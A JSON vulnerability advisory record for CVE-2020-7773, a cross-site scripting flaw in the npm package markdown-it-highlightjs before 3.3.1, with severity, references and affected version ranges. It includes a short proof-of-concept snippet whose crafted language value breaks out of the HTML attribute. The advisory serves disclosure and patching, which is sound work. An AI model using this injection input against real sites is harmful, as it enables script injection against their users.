{"id":"GHSA-f246-xrrj-g8j6","summary":"Cross-site Scripting in markdown-it-highlightjs","details":"This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature. \n\n```js\nconst markdownItHighlightjs = require(\"markdown-it-highlightjs\");\nconst md = require('markdown-it'); \nconst reuslt_xss = md().use(markdownItHighlightjs, { inline: true }).render('console.log(42){.\"\u003ejs}'); \nconsole.log(reuslt_xss);\n```","aliases":["CVE-2020-7773","SNYK-JS-MARKDOWNITHIGHLIGHTJS-1040461"],"modified":"2026-05-07T04:57:13.748379309Z","published":"2022-02-10T20:19:47Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2021-04-15T21:12:47Z","nvd_published_at":"2020-11-16T12:15:00Z","cwe_ids":["CWE-79"]},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7773"},{"type":"WEB","url":"https://github.com/valeriangalliat/markdown-it-highlightjs/pull/14"},{"type":"WEB","url":"https://github.com/valeriangalliat/markdown-it-highlightjs/blob/v3.3.0/index.js%23L52"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JS-MARKDOWNITHIGHLIGHTJS-1040461"}],"affected":[{"package":{"name":"markdown-it-highlightjs","ecosystem":"npm","purl":"pkg:npm/markdown-it-highlightjs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.3.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/02/GHSA-f246-xrrj-g8j6/GHSA-f246-xrrj-g8j6.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}]}